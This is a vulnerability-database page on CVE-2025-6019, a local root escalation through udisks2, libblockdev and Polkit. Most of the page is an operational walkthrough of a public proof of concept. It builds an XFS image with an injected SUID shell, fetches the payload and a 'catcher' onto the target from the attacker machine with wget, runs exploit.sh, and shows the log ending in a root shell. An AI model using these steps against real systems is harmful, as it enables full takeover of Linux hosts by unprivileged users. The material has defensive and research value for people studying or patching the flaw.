CVE-2025-6019:
libblockdev / udisks2 / Polkit
Published: Feb 22, 2026
High
Execution with Unnecessary Privileges
CVE-2025-6019 is a local privilege-escalation flaw in libblockdev interacting with udisks (udisks2) and Polkit that can let an “allow_active” user escalate all the way to root because of how mounts can be performed without the expected safety restrictions, leading to full host compromise.
Privilege Escalation
Polkit
udisks2
Below are general examples of techniques, methods, and proof-of-concept approaches used to demonstrate this vulnerability in a controlled environment.
MichaelVenturella/CVE-2025-6018-6019-PoC
A Proof of Concept for chaining CVE-2025-6018 and CVE-2025-6019
For this exploit to work you need to have the shell from https://hackindex.io/vulnerabilities/CVE-2025-6018. You can check if that succeeded with
exploit $ loginctl show-session $(loginctl | awk 'NR==2{print $1}')
Bus n/a: changing state UNSET → OPENING
sd-bus: starting bus by connecting to /run/dbus/system_bus_socket...
Bus n/a: changing state OPENING → AUTHENTICATING
Bus n/a: changing state AUTHENTICATING → HELLO
Sent message type=method_call sender=n/a destination=org.freedesktop.DBus path=/org/freedesktop/DBus interface=org.freedesktop.DBus member=Hello cookie=1 reply_cookie=0 signature=n/a error-name=n/a error-message=n/a
Got message type=method_return sender=org.freedesktop.DBus destination=:1.90 path=n/a interface=n/a member=n/a cookie=1 reply_cookie=1 signature=s error-name=n/a error-message=n/a
Bus n/a: changing state HELLO → RUNNING
Sent message type=method_call sender=n/a destination=org.freedesktop.login1 path=/org/freedesktop/login1 interface=org.freedesktop.login1.Manager member=ListSessions cookie=2 reply_cookie=0 signature=n/a error-name=n/a error-message=n/a
Got message type=method_return sender=:1.1 destination=:1.90 path=n/a interface=n/a member=n/a cookie=769 reply_cookie=2 signature=a(susso) error-name=n/a error-message=n/a
Sent message type=method_call sender=n/a destination=org.freedesktop.login1 path=/org/freedesktop/login1/session/_316 interface=org.freedesktop.DBus.Properties member=GetAll cookie=3 reply_cookie=0 signature=s error-name=n/a error-message=n/a
Got message type=method_return sender=:1.1 destination=:1.90 path=n/a interface=n/a member=n/a cookie=770 reply_cookie=3 signature=a{sv} error-name=n/a error-message=n/a
Sent message type=method_call sender=n/a destination=org.freedesktop.login1 path=/org/freedesktop/login1/session/_32 interface=org.freedesktop.DBus.Properties member=GetAll cookie=4 reply_cookie=0 signature=s error-name=n/a error-message=n/a
Got message type=method_return sender=:1.1 destination=:1.90 path=n/a interface=n/a member=n/a cookie=771 reply_cookie=4 signature=a{sv} error-name=n/a error-message=n/a
Bus n/a: changing state RUNNING → CLOSED
Bus n/a: changing state UNSET → OPENING
sd-bus: starting bus by connecting to /run/dbus/system_bus_socket...
Bus n/a: changing state OPENING → AUTHENTICATING
Successfully forked off '(pager)' as PID 11191.
Skipping PR_SET_MM, as we don't have privileges.
Found cgroup2 on /sys/fs/cgroup/, full unified hierarchy
Failed to execute 'pager', will try 'less' next: No such file or directory
Pager executable is "less", options "FRSXMK", quit_on_interrupt: yes
Bus n/a: changing state AUTHENTICATING → HELLO
Sent message type=method_call sender=n/a destination=org.freedesktop.DBus path=>
Got message type=method_return sender=org.freedesktop.DBus destination=:1.91 pa>
Bus n/a: changing state HELLO → RUNNING
Sent message type=method_call sender=n/a destination=org.freedesktop.login1 pat>
Got message type=method_return sender=:1.1 destination=:1.91 path=n/a interface>
Sent message type=method_call sender=n/a destination=org.freedesktop.login1 pat>
Got message type=method_return sender=:1.1 destination=:1.91 path=n/a interface>
Bus n/a: changing state RUNNING → CLOSED
Id=16
User=1002
Name=$SSH_USER
Timestamp=Sat 2026-02-14 20:00:38 EET
TimestampMonotonic=771749991
VTNr=1
Seat=seat0
TTY=pts/1
Remote=yes
RemoteHost=$TARGET_IP
Service=sshd
Scope=session-16.scope
Leader=11015
Check for
Seat=seat0When this is found in the response you can continue with CVE-2025-6019.
First on your attacker machine build the exploit:
┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/MichaelVenturella/CVE-2025-6018-6019-PoC.git
┌──(kali㉿kali)-[~]
└─$ cd CVE-2025-6018-6019-PoC
┌──(kali㉿kali)-[~]
└─$ sh build_poc.sh
[*] Building CVE-2025-6018/6019 PoC... [+] Compiled static rootbash. [+] Created XFS image. [+] Injected SUID shell into image. [+] Compiled static catcher. [SUCCESS] Upload 'exploit.img' and 'catcher' to the target /tmp folder.
Warning
If you see "[-] mkfs.xfs missing. Install with: apt install xfsprogs" even though xfsprogs is already installed, remove the "if ! command -v mkfs.xfs &> /dev/null; then" check from build_poc.sh.
Put all the files to the target and give them the right permissions like:
exploit $ wget http://$LPORT:$LPORT/exploit.img
exploit $ wget http://$LPORT:$LPORT/catcher
exploit $ wget http://$LPORT:$LPORT/exploit.sh
exploit $ chmod +x exploit.sh
exploit $ chmod +x catcher
After everything is setup on the target machine execute:
exploit $ ./exploit.sh
Bus n/a: changing state UNSET → OPENING
sd-bus: starting bus by connecting to /run/dbus/system_bus_socket...
Bus n/a: changing state OPENING → AUTHENTICATING
Bus n/a: changing state AUTHENTICATING → HELLO
Sent message type=method_call sender=n/a destination=org.freedesktop.DBus path=/org/freedesktop/DBus interface=org.freedesktop.DBus member=Hello cookie=1 reply_cookie=0 signature=n/a error-name=n/a error-message=n/a
Got message type=method_return sender=org.freedesktop.DBus destination=:1.132 path=n/a interface=n/a member=n/a cookie=1 reply_cookie=1 signature=s error-name=n/a error-message=n/a
Bus n/a: changing state HELLO → RUNNING
Sent message type=method_call sender=n/a destination=org.freedesktop.login1 path=/org/freedesktop/login1 interface=org.freedesktop.login1.Manager member=GetSession cookie=2 reply_cookie=0 signature=s error-name=n/a error-message=n/a
Got message type=method_return sender=:1.1 destination=:1.132 path=n/a interface=n/a member=n/a cookie=1237 reply_cookie=2 signature=o error-name=n/a error-message=n/a
Sent message type=method_call sender=n/a destination=org.freedesktop.login1 path=/org/freedesktop/login1/session/_324 interface=org.freedesktop.DBus.Properties member=GetAll cookie=3 reply_cookie=0 signature=s error-name=n/a error-message=n/a
Got message type=method_return sender=:1.1 destination=:1.132 path=n/a interface=n/a member=n/a cookie=1238 reply_cookie=3 signature=a{sv} error-name=n/a error-message=n/a
Bus n/a: changing state RUNNING → CLOSED
[+] Session is Active. Polkit bypass enabled.
[*] Starting Background Trigger (Wait 2s)...
[*] Starting Foreground Catcher...
[*] HOLD TIGHT. ROOT SHELL INCOMING.
[*] Sniper started. Waiting for ANY loop mount...
exploit$ whoami
[*] (BG) Setting up loop device...
[*] (BG) Triggering Resize on /org/freedesktop/UDisks2/block_devices/loop0...
[!!!] HIT! Mounted at: /tmp/blockdev.RBR2K3
hostname:~ # whoami
root
Vulnerability Identity
Risk Assessment
7
High risk
Compexity
high
Privileges
low
Version impact